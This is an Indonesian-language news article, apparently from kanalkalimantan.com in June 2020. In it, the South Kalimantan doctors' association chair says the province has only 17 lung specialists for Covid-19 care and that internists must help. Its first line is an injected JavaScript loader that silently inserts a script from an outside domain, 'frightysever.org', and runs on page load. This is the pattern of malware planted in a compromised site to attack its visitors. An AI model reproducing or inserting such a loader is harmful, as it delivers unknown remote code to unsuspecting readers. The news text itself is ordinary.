(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus corona virus disease 2019 (Covid-19) di Kalimantan Selatan masih terjadi trend peningkatan, belum ada tanda-tanda melandai. Di tengah tren peningkatan kasus Covid-19 tersebut, Kalsel ternyata kekurangan dokter spesialis paru.
Ketua Ikatan Dokter Indonesia (IDI) Kalsel dr M. Rudiansyah SpPD menyebutkan, di Kalsel hanya ada 17 dokter spesialis paru. Dimana, delapan dokter diantaranya bertugas di kota Banjarmasin.
Apakah jumlah tersebut mencukupi untuk penanganan Covid-19? “Sebenarnya berdasarkan hitungan rasio pasien tentunya kurang. Tidak cukup,” kata Rudiansyah saat ditemui di Ulin Tower, Kompleks RSUD Ulin Banjarmasin, Jumat (26/6/2020) siang.
Karena perlu diketahui, Covid-19 ini bersifat multi disiplin ilmu kesehatan, Rudiansyah menambahkan, dokter spesialis penyakit dalam sudah seharusnya terlibat.
Karena jika dilihat, kasus Covid-19 yang menjalani perawatan di rumah sakit banyak diikuti dengan penyakit-penyakit lain.
“Inilah mengapa di beberapa pusat kesehatan lain seperti fasyankes (fasilitas pelayanan kesehatan) di daerah tidak ada dokter paru, mau tidak mau yang melaksanakan adalah dokter penyakit dalam,” tegas Rudiansyah.
Dokter sepesialis penyakit dalam ini mencontohkan RSUD H Boejasin Pelaihari, rumah sakit milik Pemkab Tanahlaut itu ditunjuk Kementerian Kesehatan RI sebagai salah satu RS rujukan Covid-19 di Kalsel. Ironisnya, RS di kota Pelaihari tersebut tidak memiliki dokter spesialis paru.
Ketua Ikatan Dokter Indonesia (IDI) Kalsel dr M. Rudiansyah SpPD. foto: fikri
“Hanya yang menangani adalah dokter penyakit dalam. Ini yang harus dipahami, sehingga kita tidak hanya bisa berharap bahwa dari gugus tugas sudah menyatakan harus melibatkan dokter lain yaitu dokter penyakit dalam,” jelasnya.
Ditanya soal kebutuhan dokter, baik umum maupun spesialis, Rudiansyah mengungkapkan idealnya satu dokter dapat menangani 1.000 hingga 2.000 rasio jumlah penduduk. Jika dihitung berdasarkan jumlah penduduk Kalsel sebanyak 4,3 juta penduduk, maka dibutuhkan sedikitnya 600 dokter.
Baca juga: IDI Kalsel Catat 35 Dokter Terpapar Covid-19, Tiga Meninggal Dunia
Sementara itu, Ketua Perhimpunan Dokter Spesialis Penyakit Dalam Indonesia (PAPSI) Kalimantan Selatan dr Abimanyu SpPD K-GEH FINASIM menambahkan, jika penanganan Covid-19 hanya mengandalkan dokter spesialis paru saja, dipastikan akan kewalahan. Apalagi, tidak semua dokter spesialis paru ada di rumah sakit di kabupaten dan kota.
“PAPDI Kalsel dengan 70 dokter secara keseluruhan ingin membantu dan sekarang sebenarnya sudah membantu. Jadi di rumah sakit yang tidak ada dokter parunya, masih bisa dengan dokter penyakit dalam,” lugas Abimanyu. Sehingga dilibatkan dokter spesialis penyakit dalam dapat menangani pasien Covid-19 yang ada. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
This website uses cookies.